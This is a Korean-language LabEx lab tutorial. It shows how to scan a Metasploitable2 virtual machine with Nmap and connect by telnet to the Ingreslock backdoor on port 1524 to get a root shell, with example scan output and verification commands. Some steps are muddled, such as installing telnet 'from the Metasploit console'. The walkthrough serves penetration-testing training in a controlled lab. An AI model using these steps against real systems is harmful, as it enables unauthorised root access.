Nmap 으로 Ingreslock 취약점 악용

NmapBeginner
지금 연습하기

소개

이 랩에서는 Ingreslock 서비스 취약점을 이용하여 대상 머신에 대한 root 권한을 획득하는 방법을 배우게 됩니다. 랩 환경은 LabEx 에서 제공하는 Kali 및 Metasploitable2 가상 머신을 기반으로 합니다. 이 랩의 목표는 Ingreslock 취약점을 이해하고, Nmap 을 사용하여 침투 스캔을 수행하며, 궁극적으로 Ingreslock 백도어 (backdoor) 를 악용하여 Metasploitable2 머신에 대한 root 권한을 획득하는 것입니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 96%입니다.학습자들로부터 95%의 긍정적인 리뷰율을 받았습니다.

Ingreslock 취약점 이해 및 환경 설정

Ingreslock 취약점은 Ingres 데이터베이스 관리 시스템 (DBMS) 과 관련된 오래되었지만 여전히 관련성이 있는 보안 결함입니다. TCP 포트 1524 는 공격자가 손상된 시스템에 대한 접근 권한을 유지하기 위해 백도어 포트로 자주 사용됩니다.

이 단계에서는 Ingreslock 취약점과 그 영향에 대해 배우게 됩니다.

Ingreslock 취약점은 TCP 포트 1524 가 시스템을 성공적으로 손상시킨 후 공격자가 백도어 리스닝 포트로 일반적으로 사용되었다는 사실에서 비롯됩니다. 이 취약점을 악용하는 단순성은 열린 포트에 단순히 연결하여 대상 머신에 대한 root 레벨 접근 권한을 얻을 수 있다는 데 있습니다.

이 취약점은 오래된 것으로 간주되지만, 일부 레거시 시스템에는 여전히 존재하므로 통제된 환경에서 이해하고 탐구할 가치가 있습니다.

  1. LabEx 호스트 머신에서 xfce 터미널을 열고 다음 명령을 실행하여 Metasploitable2 대상을 시작합니다.
sudo virsh start Metasploitable2

대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 걸릴 수 있습니다.

  1. 대상 머신에 대한 연결을 ping 하여 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

  1. Kali Linux 컨테이너를 시작하고 다음을 실행하여 bash 환경에 들어갑니다.
docker run -ti --network host b5b709a49cd5 bash
  1. Kali 컨테이너 내부에서 대상 머신에 대한 네트워크 연결을 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

침투 스캔 수행

이 단계에서는 Nmap 을 사용하여 Metasploitable2 대상 머신에 대한 침투 스캔을 수행하여 대상에서 실행 중인 열린 포트와 서비스를 식별합니다.

  1. Metasploitable2 가상 머신을 시작하고 실행 중인지 확인합니다.
  2. Kali 컨테이너를 시작하고 bash 셸에 들어갑니다.
  3. Kali 컨테이너 내부에서 다음 명령을 실행하여 대상 머신에 대한 포괄적인 스캔을 수행합니다.
nmap -sV -T4 target-ip-address

-sV 옵션은 Nmap 에게 서비스/버전 정보를 확인하기 위해 열린 포트를 프로브하도록 지시하고, -T4는 타이밍 템플릿을 공격적인 레벨로 설정합니다 (0 에서 5 까지의 높은 값은 공격성을 증가시킵니다).

PostgreSQL 서비스를 시작하고 Metasploit 데이터베이스를 초기화합니다.

cd ~
service postgresql start
msfdb init

Metasploit 콘솔을 시작합니다.

msfconsole

대상 머신에 대한 포괄적인 스캔을 수행합니다.

nmap -sV -T4 192.168.122.102

다음은 표시될 수 있는 출력의 예입니다.

[*] exec: nmap -sV -T4 192.168.122.102

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-24 20:47 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0037s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec?
513/tcp  open  login
514/tcp  open  shell?

...

이 일련의 명령은 PostgreSQL 서비스를 시작하고, Metasploit 데이터베이스를 초기화하고, Metasploit 콘솔을 시작한 다음 Nmap 을 사용하여 대상 머신에 대한 포괄적인 스캔을 수행합니다.

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

Ingreslock 백도어 익스플로잇

이 단계에서는 Ingreslock 백도어 취약점을 악용하여 Metasploitable2 대상 머신에 대한 root 접근 권한을 얻습니다.

  1. 먼저, Metasploit 콘솔에 있지 않은 경우 Metasploit 콘솔을 시작해야 합니다.
cd ~
msfconsole
  1. Metasploit 콘솔에서 telnet 패키지를 설치합니다.
apt-key del ED444FF07D8D0BF6 && apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ED444FF07D8D0BF6 && apt update && apt install telnet
  1. telnet 명령을 사용하여 대상 머신의 Ingreslock 백도어 포트에 연결합니다.
telnet 192.168.122.102 1524

연결에 성공하면 대상 머신에 대한 root 접근 권한을 얻게 됩니다.

  1. 이제 Ingreslock 백도어 악용이 성공했는지 확인하기 위해 손상된 머신의 IP 주소, 호스트 이름 및 현재 사용자를 확인해야 합니다. Ingreslock 백도어를 통해 대상 머신에 연결한 후 다음 명령을 실행합니다.

손상된 머신의 IP 주소를 확인합니다.

ifconfig

손상된 머신의 호스트 이름을 확인합니다.

hostname

손상된 머신의 현재 사용자를 확인합니다.

whoami

악용에 성공하면 대상 머신에서 IP 주소, 호스트 이름 및 현재 사용자가 root로 표시됩니다.

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

요약

이 랩에서는 공격자가 TCP 포트 1524 에 연결하여 손상된 시스템에 대한 root 접근 권한을 얻을 수 있게 해주는 Ingreslock 취약점에 대해 배웠습니다. Nmap 을 사용하여 대상 머신에서 열린 포트와 서비스를 식별하기 위해 침투 스캔을 수행했습니다. Ingreslock 백도어 포트를 감지한 후, telnet 명령을 사용하여 취약점을 악용하여 root 접근 권한을 얻었습니다. 마지막으로, 손상된 머신에서 IP 주소, 호스트 이름 및 현재 사용자를 확인하여 성공적인 악용을 확인했습니다. 이 랩은 실제 취약점을 이해하고 악용하는 실습 경험을 제공하여 보안 패치 및 이러한 백도어에 대한 시스템 강화의 중요성을 강조했습니다.